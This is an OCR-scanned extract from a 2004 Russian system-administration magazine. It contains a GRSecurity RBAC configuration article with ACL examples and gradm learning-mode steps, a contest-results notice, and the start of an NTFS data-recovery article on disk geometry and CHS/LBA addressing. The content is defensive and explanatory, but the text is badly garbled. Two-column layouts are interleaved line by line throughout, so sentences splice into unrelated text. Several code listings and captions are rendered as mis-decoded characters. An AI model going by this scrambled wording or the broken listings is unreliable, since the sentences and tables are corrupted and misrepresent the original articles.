! X – включить RANDEXEC для этого субъекта (PaX); ! CAP_SETGID – разрешает выполнение функций setgid,
! O – переписать расширенные restriction mmap() и ptrace() setgoups.
для этого субъекта; ! CAP_SETUID – разрешает выполнение функции setuid.
! A – защитить общую память для этого субъекта, только ! CAP_NET_BIND_SERVICE – разрешает привязку на
входящие в этот субъект процессы могут получить дос- TCP/IP-сокет ниже 1024, привязку к ATM VCIs ниже 32.
туп к памяти этого субъекта; ! CAP_NET_ADMIN – разрешает:
! K – если процесс создает опасную ситуацию, завершить ! конфигурирование интерфейсов;
процесс; ! администрирование межсетевого экрана, трансля-
! C – если процесс создает опасную ситуацию, завершить цию адресов;
этот процесс и все процессы, запущенные с того же IP- ! установку опций отладки для сокетов;
адреса; ! изменение таблиц маршрутизации;
! T – процесс не сможет выполнить никакой троянский ! привязку к любому адресу для прозрачного прокси-
код; рования;
! o – отменяет ACL-наследование. ! установку TOS (type of service);
! установку неразборчивого (promiscuous) режима для
Объект поддерживает следующие режимы: сетевой карты;
! r – объект может быть открыт для чтения; ! очистку статистики драйвера;
! w – объект может быть открыт для записи; ! мультивещание;
! x – объект может быть выполнен (executed); ! чтение/запись в определенные регистры устрой-
! a – объект может быть открыт для добавления; ства.
! h – объект скрыт (к нему нельзя получить доступ); ! CAP_SYS_ADMIN – разрешает:
! s – при запрете доступа к этому объекту в логи не будет ! администрирование устройства random;
идти информация; ! конфигурирование дисковых квот;
! i – применяется только к бинарным файлам. Когда ! конфигурирование syslog ядра;
объект выполняется, он наследует ACL субъекта, в ко- ! установку доменного имени (domainname);
торый входит; ! установку имени хоста (hostname);
! l – режим обучения, поддерживается только для бинар- ! вызов bdflush();
ных файлов; ! монтирование и размонтирование, установку нового
! R – аудит успешного чтения объекта; smb-подключения;
! W – аудит успешной записи в объект; ! блокирование/разблокирование общедоступной па-
! X – аудит успешного исполнения объекта; мяти (shared memory);
! A – аудит успешного добавления в объект; ! включать/выключать подкачку (swap);
! F – аудит успешного поиска объекта; ! установку геометрии для флоппи-дисковода;
! I – аудит успешного наследования объекта; ! включение/выключение режима DMA;
! m – разрешить создавать и модифицировать setuid/ ! настройку IDE-драйверов;
setgid файлы и каталоги; ! доступ к устройству nvram;

№9(22), сентябрь 2004 53


безопасность
! администрирование apm_bios, последовательных и ! RES_NOFILE – максимальное число открытых файлов.
bttv (TV) устройств; ! RES_MEMLOCK – максимальный размер выделенной
! установку последовательных портов; памяти в байтах.
! включение/отключение SCSI-контроллеров, посылку ! RES_AS – ограничение адресного пространства в бай-
произвольных SCSI-команд. тах.
! RES_LOCKS – максимальное число блокировок файла.
Процессу (субъекту) доступны два сетевых параметра –
connect и bind. Параметр connect отвечает за доступ про- В качестве примера рассмотрим RES_NOFILE 3 3. Эта
цесса в сеть, а параметр bind – за привязку процесса к се- запись позволит процессу открыть максимум три файла (все
тевому интерфейсу: процессы имеют как минимум три открытых файловых дес-
криптора – stdin, stdout и stderr). Ограничения бывают мяг-
connect <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵ кими (soft limit) и жесткими (hard limit).
<òèï> <ïðîòîêîë>
bind <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵ Разница между ними состоит в том, что мягкий предел
<òèï> <ïðîòîêîë> назначается при выполнении процесса.
Жесткий предел – максимальная точка, до которой про-
Если конечный порт не определен, то начальный порт цесс может поднимать предел с помощью setrlimit, если для
является и начальным, и конечным портом. Если не опре- процесса не установлена CAP_SYS_RESOURCE.
делены оба порта, то в качестве начального порта исполь- В случае ограничения времени использования централь-
зуется 0, а в качестве конечного порта – 65535. Тип может ного процессора с помощью RES_CPU, когда мягкий предел
принимать значения: sock, dgram, raw_sock any_sock, stream. превышен, процессу непрерывно подается специальный
Протокол – любой из перечисленных в /etc/protocols, а так- сигнал. Когда превышен жесткий предел, процесс завер-
же raw_proto и any_proto. Если процесс не должен иметь шается. Это единственное ограничение, использующее вре-
возможности подключения или привязки, то для этого су- мя в качестве аргумента, причем по умолчанию в миллисе-
ществует ключевое слово disabled: кундах. Однако время можно задать и в других единицах:
! 100s – 100 секунд
subject /bin/su o {
/etc/passwd r
! 25m – 25 минут
/etc/shadow r ! 65h – 65 часов
-CAP_ALL
connect disabled
! 2d – 2 дня
bind disabled
} В остальных ограничениях в качестве аргумента по
умолчанию используется байт, но его можно также задать
а в этом примере мы разрешаем процессу (субъекту) /usr/ в других единицах:
sbin/apache подключение к любому IP-адресу на 53 порт ! 2G – 2 Гб
(DNS) с помощью udp-датаграмм и привязку на все интер- ! 25M – 25 Мб
фейсы к 80 tcp-порту: ! 100K – 100 Кб
subject /usr/sbin/apache o {
........................................
Начало работы и режим обучения
connect 0.0.0.0/0:53 dgram udp Для управления GRSecurity служит программа gradm:
bind 0.0.0.0/0:80 stream tcp
} # gradm
gradm 2.0
Одна из особенностей GRSecurity – основанная на про- grsecurity administration program
цессах система ограничения ресурсов. С ее помощью мож-
Usage: gradm [option] ...
но ограничивать процесс (субъект) в количестве памяти,
времени центрального процессора, количестве файлов, Examples:
gradm -P
которые могут быть открыты, и т. д. Для записи ограниче- gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/acl
ний применяется следующий синтаксис: Options:
-E, --enable Включить grsecurity RBAC
-D, --disable Отключить grsecurity RBAC
<resource name> <soft limit> <hard limit> -S, --status Проверить статус системы RBAC
-F, --fulllearn Включить режим полного обучения
-P [rolename], --passwd Задать пароль для администратора RBAC
Список доступных ограничений: or a special role
! RES_CPU – время центрального процессора в милли- -R, --reload Перезагрузить систему RBAC
(только из администраторского режима)
секундах. -L <filename>, --learn Определить путь для логов режима обучения
! RES_FSIZE – максимальный размер файла в байтах. -O <filename>, --output Определить файл, куда будут сгенерирован
ACL в режиме обучения
! RES_DATA – максимальный размер секции данных в -M <filename|uid>, --modsegv Удалить запрет на файл или UID
байтах. -a <rolename> , --auth Аутентифицироваться в специальную роль,
если она требует аутентификации
! RES_STACK – максимальный размер стека в байтах. -u, --unauth Удалить себя из текущей специальной роли
! RES_CORE – максимальный размер core-файла в байтах. -n <rolename> , --noauth Аутентифицироваться в специальную роль,
если она не требует аутентификации
! RES_RSS – максимальный размер исполняемой части. -h, --help Вывести эту страницу помощи
! RES_NPROC – максимальное число процессов. -v, --version Показать версию

54
безопасность
Для активации GRSecurity надо задать пароли доступа. таком случае для этих действий тоже будет сформирован
Если этого не сделать, GRSecurity выдаст сообщение об ACL, что будет дырой в системе безопасности. Вообще чем
ошибке: меньше написано различных ACL – тем лучше.
Ручная настройка ACL происходит следующим образом.
# gradm –E ! Активируем GRSecurity:
Error opening: /etc/grsec/pw
open: no such file or directory
# gradm –E
Задаем главный пароль, служащий для отключения и
перезагрузки системы GRSecurity: ! Ждем некоторое время (для начала – несколько секунд).
! Отключаем GRSecurity:
# gradm –P
Setting up grsecurity RBAC password
Password: # gradm –D
Re-enter password:

Во второй версии GRSecurity появился режим полного обу- ! Смотрим протокол ядра, в моем случае – /var/log/kern.log.
чения системы. Для его активации необходимо выполнить: В нем будут примерно такие записи:

# gradm –F –L /var/log/grsec Jul 22 14:57:00 admin kernel: grsec: Loaded grsecurity 2.0
Jul 22 14:57:02 admin kernel: grsec: denied access to hidden file
/bin/ping by /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,
Все попытки любых программ получить доступ к каким- parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0
Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_OVERRIDE
либо объектам будут фиксироваться в файле /var/log/grsec. denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,
Через некоторое время отключаем GRSecurity: parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0
Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_READ_SEARCH
# gradm –D denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,
Password: parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0
Jul 22 14:57:05 admin kernel: grsec: denied access to hidden file
/etc/ld.so.preload by /sbin/gradm[gradm:30057] uid/euid:0/0
и с помощью следующей команды из протокола получаем gid/egid:0/0, parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0
файл /etc/grsec/acl: Jul 22 14:57:10 admin kernel: grsec: shutdown auth success for
/sbin/gradm[gradm:30057] uid/euid:0/0 gid/egid:0/0,
parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0
# gradm –F –L /var/log/grsec –O /etc/grsec/acl
После анализа логов исправляем /etc/grsec/acl и начи-
примерно такой структуры: наем все сначала.
Для справки – ACL на моем сервере составляет 2500
role default строк. В качестве примера приведу ACL для mysql. В моем
subject / {
/ h случае mysql работает из-под пользователя mysql, посему
-CAP_ALL необходима отдельная пользовательская роль:
connect disabled
bind disabled
} role mysql u
subject / {
role root uG / h
subject / { -CAP_ALL
/ h bind disabled
/bin h connect disabled
………………. }
}
subject /usr/sbin/mysqld o {
……………….. / h
/etc r
/etc/grsec h
Этот ACL будет мало пригоден для работы, его придет- /etc/mysql/my.cnf r
/lib rx
ся долго настраивать. Это, с одной стороны, связано с не- /proc/sys/kernel/version r
совершенством режима обучения, а с другой стороны – с /tmp rwcd
/usr/lib rx
тем, что за время обучения какие-либо программы частич- /usr/share/zoneinfo r
но не выполняли свои функции. Например, за время обуче- /usr/share/mysql r
/var/run/mysqld w
ния DNS-сервер ни разу не запустил процесс передачи зоны, /var/lib/mysql rw
в связи с чем впоследствии возникнут ошибки доступа к /var/lib/mysql/* rw
-CAP_ALL
файлам зон, которые придется исправлять вручную. Здесь +CAP_SETGID
напрашивается вывод – почему бы не оставить режим обу- +CAP_SETUID
}
чения на несколько дней, тогда можно быть уверенным, что
все функции выполнились хотя бы один раз. Однако такой Расскажу еще об одной проблеме, с которой мне при-
подход не верен. Дело в том, что помимо выполнения нуж- шлось столкнуться. Для подсчета трафика я использую
ных функций (той же передачи зоны) могут быть выполне- NeTAMS. После обучения получил такой ACL для netams:
ны и ненужные. Например, администратор зашел в консоль
и произвел какие-либо нестандартные действия, для кото- subject /usr/bin/netams o {
/
рых впоследствии будет применяться специальная роль. В /var rwc

№9(22), сентябрь 2004 55


безопасность
/var/log h После того как ошибки исчезнут совсем, для выполне-
/etc/ssh h ния административных задач создадим специальную роль,
/etc/grsec h
/dev/grsec h которой будет разрешено все. Дописываем в /etc/grsec/acl:
/proc/kcore h
/proc/sys h
/etc/shadow h role sysadmin sA
/etc/passwd h subject / {
/dev/mem h / rwcdmxi
/dev/kmem h +CAP_ALL
/dev/port h }
/dev/log h
-CAP_ALL Чтобы специальная роль стала доступной, надо в той
+CAP_NET_ADMIN роли, откуда она будет вызываться, разрешить этот вызов.
bind disabled
connect disabled Допустим, заходим на сервер по ssh и через su получаем
} права пользователя root. Таким образом, за все действия
Активировал GRSecurity, ошибок нет. Однако ночью сер- теперь отвечает роль root. И чтобы в этом случае можно
вер повис. В логах было чисто, поэтому определить причи- было перейти в роль sysadmin, надо в /etc/grsec/acl в опи-
ну не представлялось возможным, однако было понятно, сание роли root дописать следующую строку:
что все дело в GRSecurity. Самое интересное, что днем он
работал нормально, а зависал исключительно ночью. При- role_transitions sysadmin
чем зависал настолько быстро, что система не успевала
ничего записать в лог. И только на третий или четвертый Также необходимо задать пароль для специальной роли
день в логе отразилась попытка NeTAMS выполнить sysadmin. Если этого не сделать, GRSecurity выдаст сооб-
CAP_DAC_OVERRIDE. После добавления строки +CAP_ щение об ошибке:
DAC_OVERRIDE в ACL для NeTAMS зависания прекратились. # gradm –E
Кроме полного обучения системы доступно также обу- No password exists for special role sysadmin
чение отдельных ролей или субъектов. Например, веб-сер- Run gradm –P sysadmin to set up a password for the role

вер работает из-под пользователя apache. Для обучения си- Задаем пароль:
стемы добавляем в /etc/grsec/acl следующие строки:
# gradm –P
Setting up grsecurity RBAC password
role apache ul Password:
Re-enter password:

Запускаем GRSecurity в режиме обучения (не полного!): Активируем GRSecurity и переходим в роль sysadmin:
# gradm –E
# gradm –E –L /var/log/grsec # gradm –a sysadmin
Password:

Через некоторое время отключаем: Теперь можно выполнять любые действия на сервере:

# gradm –D

формируем ACL:

# gradm –L /var/log/grsec –O /etc/grsec/acl

Затем редактируем получившуюся роль, убирая добав-


ленные gradm комментарии и букву l из описания роли.
По такому же принципу происходит и обучение субъек-
та. Добавляем в нужную роль описание нужного субъекта,
для которого необходимо получить ACL, например /bin/su:

subject /bin/su lo {
/ h
-CAP_ALL
connect disabled
bind disabled
}
Ðèñóíîê 2
и аналогично запускаем режим обучения. Здесь есть один В заключение хочу сказать, что GRSecurity во много раз
тонкий момент – в процессе обучения GRSecurity не исправ- повышает защищенность компьютера, поэтому смело могу
ляет допущенные человеком ошибки, поэтому запускать рекомендовать ее использование на всех серверах, рабо-
режим обучения для роли или субъекта, в которые уже что- тающих под управлением Linux.
то добавлено, не имеет смысла. Поэтому прежде чем запу- Отдельная благодарность Алексею Коршунову и Анд-
стить режим обучения, рекомендуется полностью очистить рею Бешкову за помощь в подготовке статьи.
субъект или роль.

56
итоги конкурса

Больше месяца на страницах каталога программного обес- Оказалось, что сайт для общения системных администра-
печения SOFT@Mail.Ru (http://soft.mail.ru) проводился кон- торов просто необходим, и месяц, отведенный на конкурс, –
курс для системных администраторов и пользователей «Си- это очень-очень мало. Поэтому организаторы решили не
садмин тоже человек». закрывать сайт «Сисадмин тоже человек» после подведе-
3 августа 2004 года организаторы конкурса компании ния итогов конкурса, чтобы дать возможность прочитать то,
SoftLine и Mail.Ru подвели итоги. Победителями стали 7 что уже опубликовано на сайте, и то, что еще может быть
системных администраторов и 5 авторов открыток. опубликовано. Теперь сайт «Сисадмин тоже человек» дос-
Напомним, что по условиям конкурса авторы открыток тупен по адресу http://sysadmin.mail.ru. Сайт снабжен более
размещали свои творения в честь сисадминов, оставивших удобной навигацией, классификатором жалоб, поиском,
свои сообщения в Жалобной книге. Самые популярные жа- удобным функционалом для добавления новых жалоб. Мож-
лобы принесли их авторам победу. Открытки разместились но оставить отзыв на сообщения своих коллег, поставить
на сайте Открытки@Mail.Ru (http://cards.mail.ru). С этого сай- оценку, просмотреть рейтинг. Работает форум сайта.
та все желающие посылали поздравления своим знакомым
сисадминам. Самые популярные открытки, лидирующие по
числу отправлений, принесли победу и призы авторам.
Целый месяц системные администраторы делились про-
блемами и забавными историями из своей богатой практи-
ки общения с пользователями, а дизайнеры и просто не-
равнодушные люди создавали для них тематические от-
крытки. Присланные на сегодняшний день участниками
конкурса материалы представляют собой практически го-
товый сборник баек, историй, остроумных высказываний,
посвященных нелегкой работе системных администраторов.
Подведение итогов и торжественное вручение призов
происходило 3 августа в уютном кафе «Маскафе» на Цвет-
ном бульваре в Москве, где собрались победители, орга-
низаторы, спонсоры и самые активные участники форума.
Победители получили призы от спонсоров конкурса (Учеб-
ный Центр SoftLine, интернет-магазин Allsoft.ru (http://
allsoft.ru), журнал «Системный администратор», портал
Sysadmins.Ru, hardware-портал Jelezka.Ru, 3DNews). Глав-
ный приз для победителя Алана Габуева – бесплатное обу-
чение программе подготовки Microsoft Certified Systems
Administrator (MCSA 2003) – предоставил генеральный спон-
сор конкурса Учебный Центр SoftLine (http://softline.ru/edu).

Из жалоб сисадминов
«В общем, господа сисадмины! Позитивнее смотрите на
жизнь и помните: «Юзвери существуют не для того, чтобы
отравлять нам жизнь, а для того, чтобы своими выходками
доводить нас до смеха. А смех, как известно, продляет
жизнь...»

Организаторы конкурса «Сисадмин тоже человек».

58
образование

ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХ

Эта статья открывает цикл публикаций,


посвященных ручному восстановлению
данных на NTFS-дисках без использования
автоматизированных «докторов», зачастую
только добивающих «пациента» вместо
его лечения. Мы коснемся всех аспектов
проблемы – логические и физические
дефекты, жесткие диски и съемные
носители (CD-ROM, ZIP, магнитооптика,
FLASH…), программные и аппаратные
RAID-массивы и т. д. Сегодня мы
рассмотрим основные концепции хранения
и организации данных на жестких дисках
и соберем необходимый инструментарий.

КРИС КАСПЕРСКИ
Долгое время главным козырем противников NTFS был Не используйте никаких автоматизированных «лечи-
следующий аргумент – чем вы будете ее восстанавливать, лок», если полностью в них не уверены. Последствия тако-
если она умрет? А мрет она, как показывает практика, до- го лечения могут быть катастрофическими, а результаты
статочно часто. При всей своей надежности NTFS не заст- «восстановления» – необратимыми. То же самое относит-
рахована от потрясений. Ошибки оператора, вирусы, сбои ся и к «специалистам», обитающим в фирмах непонятного
питания, зависания ОС, дефекты поверхности, отказ элек- происхождения и орудующих все теми же автоматизиро-
троники… С каждым днем человечество все сильнее и силь- ванными утилитами, которыми вы можете воспользовать-
нее становится зависимо от компьютеров, объемы жестких ся и без них. Некоторые пытаются создавать необходимый
дисков стремительно растут, а вместе с тем растет и цен- инструментарий самостоятельно. Чаще всего он оказыва-
ность содержащихся на них данных, потеря которых зачас- ется неработоспособным еще с рождения, но зато какая
тую невосполнима. гордость для фирмы! Какое впечатляющее средство демон-
Спрос рождает предложение и на рынке как грибы пос- страции собственной крутизны! Поверьте, утилиты типа
ле дождя вылупляются фирмы, специализирующиеся на Easy Recovery и Get Data Back далеко не дураки писали (да
восстановлении данных, однако по-настоящему хороших еще и при участии непосредственных разработчиков ори-
специалистов можно встретить только в двух, ну от силы в гинального драйвера NTFS, хорошо знающих все его тон-
трех из них, а все остальные лишь создают видимость ки- кости и особенности поведения). Это лучшее из того, что
пучей деятельности, выставляя астрономические счета при есть на рынке, и пока еще никому не удалось их превзойти!
довольно посредственном качестве восстановления. Но (Разумеется, речь идет лишь об автоматизированном вос-
время кустарей уже ушло. Рабочая атмосфера изменилась. становлении.)
Хакеры разобрались со строением NTFS и документирова- Ничего не записывайте на восстанавливаемый диск и
ли ее ключевые структуры. Начал формироваться достой- не позволяйте этого делать остальным приложениям! Если
ный инструментарий для ручного восстановления. Наконец, вы случайно удалили файл с системного диска, ни в коем
за минувшее время накопился огромный опыт по борьбе случае не выходите из Windows «культурным» способом.
за спасение данных, частью которого автор и хочет поде- Лучше нажмите RESET (при штатном завершении сеанса
литься с читателями. система сохраняет на диске текущую конфигурацию, суще-
ственно увеличивая риск необратимого затирания удален-
Если вдруг случился сбой и данные ного файла).
оказались утеряны… Не пытайтесь «насиловать» сбойные сектора многократ-
Прежде всего – не паникуйте! Заниматься восстановлени- ными чтениями – это лишь расширяет дефектную область
ем можно только на трезвую голову. Непродуманные, ли- на соседние сектора и здорово уродует магнитную голов-
хорадочные действия только усугубляют ваше и без того ку, после чего здоровые сектора не смогут читаться тоже.
незавидное положение! Лучше выполните длинное (long) чтение с диска с отклю-

60
образование
ченными контролирующими кодами, тогда контроллер воз- ем дисковый контроллер виртуализует геометрию винчес-
вратит все, что осталось от сектора (зачастую сбой затра- тера, что ставит нас в зависимость от выбранной схемы
гивает только несколько байт). трансляции (а схема трансляции – дело сугубо внутреннее
Если винчестер издает подозрительные звуки типа по- и потому не стандартизированное). Параметры диска, со-
стукивания или скрежета, немедленно выключите питание общаемые устройством и напечатанные на этикетке, все-
компьютера (опять-таки, не позволяя системе ничего пи- гда виртуальные, и никакой возможности узнать реальное
сать на диск ), поскольку в любой момент винчестер может положение дел у нас нет.
доломаться окончательно, и тогда ему уже никакой элект- IDE-диски благодаря наличию интегрированного кон-
ронщик не поможет. троллера внутри в наименьшей степени зависимы от внеш-
Восстанавливайте SCSI (и в особенности RAID!) диски него мира и могут свободно мигрировать от одной машины
только на «родном» контроллере (различные контроллеры к другой (при условии корректного поведения BIOS, но об
используют различные схемы трансляции адресов). Если этом чуть позже). Некоторые винчестеры поддерживают
же контроллер сдох, то либо ремонтируйте его, либо ищите специальную ATA-команду «Initialize device parameters», ус-
точно такой же. С IDE-дисками в этом плане намного про- танавливающую текущую виртуальную геометрию диска,
ще – их контроллеры более или менее стандартизованы, а точнее выбранное количество головок и число секторов
однако с дисками большого объема (свыше 528 Мб) уже на дорожку. Количество цилиндров вычисляется контрол-
начинается неразбериха и путаница, ставящая их в зави- лером самостоятельно, на основании общего объема дис-
симость от конкретной BIOS и выбранного режима работы ка, который, кстати говоря, также можно изменять про-
(NORMAL, LBA или LARGE). Если восстанавливаемый диск граммными средствами (за это отвечает ATA-команда
работает под управлением нестандартных драйверов типа SET MAX ADDRESS). Некоторые драйвера (и BIOS) изме-
Rocket, OnDisk и т. д., они должны присутствовать и на заг- няют геометрию диска, привязывая винчестер к себе проч-
рузочном диске (загрузочном CD), с которого производит- ными брачными узами, и в другом окружении такой диск
ся восстановление. работать уже не будет, ну во всяком случае до установки
Наконец, если данные восстановить так и не удалось – правильной геометрии.
не расстраивайтесь. Во всем в жизни надо видеть и хоро- Со SCSI-устройствами ситуация обстоит гораздо хуже,
шие стороны, даже когда ничего хорошего нет. и диск соглашается работать только с тем контроллером,
под которым он был отформатирован. Различные контрол-
Структура диска. Базовые концепции леры используют различные схемы трансляции, и потому
Физически жесткий диск представляет собой запечатанную подключение диска к несовместимому контроллеру произ-
банку с одной или несколькими одно- или двухсторонними вольным образом «перемешивает» сектора. Редактор дис-
пластинами, насаженными на шпиндель. Чтение/запись ка с таким винчестером работать еще будет, а вот штат-
данных осуществляется блоком магнитных головок, каж- ные средства операционной системы (и большинство «док-
дая из которых обслуживает одну из поверхностей пласти- торов») – нет.
ны. Информация хранится в форме концентрических колец, Продвинутые контроллеры автоматически замещают
называемых треками (track) или дорожками. Треки, распо- плохие сектора, либо сохраняя эту информацию в свой энер-
ложенные на равном расстоянии от центра всех пластин, гонезависимой памяти, либо записывая ее в инженерные
образуют цилиндр (cylinder). Фрагмент трека, образован- сектора самого диска. Это еще сильнее привязывает нако-
ный радиальным делением, называется сектором (sector). питель к его контроллеру (правда, некоторые SCSI-диски
В современных винчестерах количество секторов на трек выполняют переназначение секторов собственными сред-
не остается постоянным и дискретно растет по мере удале- ствами). Таким образом, выход SCSI-контроллера из строя
ния от центра пластины, поддерживая более или менее фактически приравнивается к отказу самого диска. Никог-
постоянные линейные размеры сектора. Треки и головки да не приобретайте SCSI-контроллеры неизвестных произ-
нумеруются начиная с нуля, сектора – начиная с единицы. водителей – в любой момент они могут кануть в Лету, и
Размер сектора для жестких дисков – 512 байт. тогда поставки новых контроллеров прекратятся. Контрол-
Первой схемой адресации секторов, доставшейся жес- леры, интегрированные в материнские платы, – это вооб-
тким дискам в наследство от дискет, стала так называемая ще песня. Ненадежные, ни с чем не совместимые… а что
CHS-адресация, представляющая собой сокращение от вы еще хотели за такую цену?
Cylinder/Head/Sector (Цилиндр/Головка/Сектор) и возникшая Сложнее всего приходится RAID-массивам, схема транс-
под давлением экономических причин. Когда-то координа- ляции адресов которых полностью определяется контролле-
ты адресуемого сектора напрямую соответствовали физи- ром. Массивы уровня 1 (mirroring, или зеркала) чаще всего
ческой действительности, что упрощало (а значит, и уде- транслируются всквозную и без особых проблем могут быть
шевляло!) дисковый контроллер, не требуя от него никакой перенесены на любой другой контроллер или даже подклю-
интеллектуальности. Помимо того, что такая схема адре- чены в обход его. Массивы остальных уровней (и в особен-
сации чудовищно неудобна для программистов (последо- ности RAID 3/RAID 5) на других типах контроллеров по обык-
вательное чтение диска растягивается на три вложенных новению неработоспособны. Программные RAID, монтируе-
цикла!), она еще и до неприличия косна! Количество секто- мые Windows NT, содержат информацию о своей геометрии
ров в треке должно быть постоянным для всего диска, а в в системном реестре и не могут быть непосредственно пе-
новых винчестерах это не так. Поэтому для сохранения со- ренесены на другие системы. Переустановка Windows NT
вместимости с существующим программным обеспечени- (равно как и крах оной) уничтожает программный RAID. К

№9(22), сентябрь 2004 61


образование
счастью, эта потеря обратима и в следующих статьях этого новке Windows поверх старой версии на логический диск
цикла мы раскроем секреты техники восстановления. емкостью свыше 2 Гб она может перестать загружаться. Все
Несмотря на то, что CHS-трансляция в настоящее вре- очень просто! Когда система ставится на только что отфор-
мя признана устаревшей (устройства, придерживающиеся матированный диск, она располагает все свои файлы в
спецификации ATA/ATAPI-6, принятой в июне 2001 года, уже самом начале, но по мере же заполнения диска область
не обязаны ее поддерживать), она до сих пор встречается свободного пространства отодвигается все дальше к кон-
во многих служебных структурах операционной системы (в цу… Кстати говоря, отодвинуть файлы первичной загрузки
частности, в таблице разделов и загрузочном секторе), по- может и дефрагментатор (или установка пакета обновле-
этому имеет смысл остановиться на этом вопросе попод- ния). Короче говоря, владельцам больших винчестеров на-
робнее, тем более что здесь есть о чем поговорить. стоятельно рекомендуется разбить свое хозяйство на не-
На интерфейсном уровне адрес сектора передается сколько дисков, установив размер первого (загрузочного)
следующим образом: раздела не более чем в 8 Гб, а лучше даже в 2 Гб.
SCSI-устройства от рождения поддерживают прозрач-
Ëèñòèíã 1. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå CHS ный механизм логической адресации, или сокращенно LBA
ïîðò çíà÷åíèå (Linear Block Address), последовательно нумерующий все
0172/01F2 êîë-âî ñåêòîðîâ сектора от 0 до последнего сектора диска. В IDE-накопите-
0173/01F3 íîìåð ñåêòîðà (áèòû 0-7)
0174/01F4 íîìåð öèëèíäðà (áèòû 0-7) лях LBA-адресация появилась только начиная с ATA-3, но
0175/01F5 íîìåð öèëèíäðà (áèòû 8-15) быстро завоевала всеобщее признание. Разрядность ад-
0176/01F6 íîìåð ãîëîâêè (áèòû 0-3), ïðèâîä íà øèíå (áèò 4),
ðåæèì CHS/LBA (áèò 6) ресации определяется устройством. В SCSI она от рожде-
ния 32-битная, а IDE-устройства вплоть до принятия специ-
Сервисные функции BIOS, напротив, адресуют диск фикации ATA-6 были ограничены 28 битами, которые рас-
слегка по-своему: пределялись следующим образом:

Ëèñòèíã 2. Èíòåðôåéñ ñ ïðåðûâàíèåì INT13h BIOS Ëèñòèíã 3. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå LBA

ðåãèñòð çíà÷åíèå ïîðò çíà÷åíèå


AL êîë-âî ñåêòîðîâ äëÿ îáðàáîòêè 0172/01F2 êîë-âî ñåêòîðîâ
CH íîìåð öèëèíäðà (áèòû 0-7) 0173/01F3 íîìåð ñåêòîðà (áèòû 0-7)
CL íîìåð öèëèíäðà (áèòû 6-7), íîìåð ñåêòîðà (áèòû 0-5) 0174/01F4 íîìåð ñåêòîðà (áèòû 8-15)
DH íîìåð ãîëîâêè 0175/01F5 íîìåð ñåêòîðà (áèòû 16-24)
DL ïðèâîä íà øèíå | 80h 0176/01F6 íîìåð ñåêòîðà (áèòû 24-28), ïðèâîä íà øèíå (áèò 4),
ðåæèì CHS/LBA (áèò 6)
Таким образом, на адресацию цилиндров BIOS отводит
всего 10 бит, и потому максимальное количество цилинд- Как можно видеть, 28-битная адресация обеспечивает
ров на диске ограничено всего 1024, что при четырехбит- поддержку дисков с объемом вплоть до 128 Гб, однако вклю-
ной адресации головок дает предельно достижимый объем чение в BIOS поддержки LBA еще не отменяет 8 Гб ограни-
диска в 512 ∗ 210 ∗ 26 ∗ 24 == 536 870 912 байт, или 512 Мб. чения, и номер последнего адресуемого цилиндра по-пре-
Производители винчестеров перешагнули этот барьер уже жнему остается равным 1024 со всеми вытекающими от-
много лет назад, и с той поры, кстати говоря, очень многое сюда последствиями. SCSI-дискам с их подлинно 32-бит-
изменилось. MS-DOS ушла в небытие, а пришедшая ей на ной адресацией несколько проще, и они поддерживают за-
смену Windows работает с диском через собственный драй- конные 2 Тб, а все потому, что управляются своим собствен-
вер, и ограничения BIOS ее никак не касаются. Ну почти не ным BIOS, на которых не наложено никаких дурацких пере-
касаются… Ведь первичную загрузку операционной систе- житков старины.
мы осуществляет не кто иной как BIOS, и если системные Утвержденная ATA-6 48-битная адресация расширяет
компоненты расположены в секторах, находящихся за пре- предельно допустимые размеры IDE-дисков до астрономи-
делами 1024 сектора, операционная система попросту не ческих величин (конкретно – до 131 072 Тб), по крайней
будет загружена! Причем это относится ко всем операци- мере в теории. На практике же в Windows 2000 с пакетом
онным системам, а не только к критикуемой Windows! обновления SP2 или более ранним отсутствует поддержка
Для преодоления этого ограничения BIOS вводит допол- 48-разрядной LBA, и для работы с большими дисками не-
нительный уровень трансляции (режим LARGE), увеличивая обходимо обновить драйвер Atapi.sys и добавить к следую-
количество головок (благо BIOS выделяет для их адресации щему ключу реестра HKEY_LOCAL_MACHINE\SYSTEM\
аж 8 бит, против 4 бит, выделяемых контроллером диска). CurrentControlSet\Services\atapi\Parameters параметр Enable
Как следствие, предельно допустимый объем диска теперь BigLba типа DWORD со значением 1 (за подробностями об-
составляет 512 ∗ 210 ∗ 26 ∗ 28 == 8 589 934 592 байт, или 8 Гб. ращайтесь к Microsoft Knowledge Base: 260910).
Это в теории. На практике же большинство BIOS содержа- Один физический диск может быть разбит на несколь-
ли грубые ошибки, и при работе с дисками свыше 2 Гб они ко логических, каждый из которых последовательно ну-
либо банально зависали, либо теряли старшие разряды меруется от первого до последнего сектора, либо «сквоз-
цилиндра, обращаясь к началу диска и необратимо гробя ной» адресацией, либо по CHS-схеме. В одних случаях
все служебные структуры. До сих пор многие вполне со- Windows требует задания абсолютного номера сектора
временные BIOS не позволяют адресовать более 64 голо- (который на самом деле никакой не абсолютный, а отно-
вок (виртуальных), что ограничивает предельно допусти- сительный, отсчитывающийся от стартового сектора раз-
мый объем диска все тем же 2 Гб. Поэтому при переуста- дела), в других – ожидает увидеть «святую троицу» (ци-

62
образование
линдр, головку, сектор), опять-таки отсчитывающуюся от величина кластера, выбираемая по умолчанию, составляет
стартового сектора. Так, если раздел начинается с адре- всего 4 сектора. В отличие от секторов, кластеры нумеру-
са 123/15/62, то первой его головкой все равно будет го- ются, начиная с нуля.
ловка 0!
На уровне файловой системы операционная система Инструменты
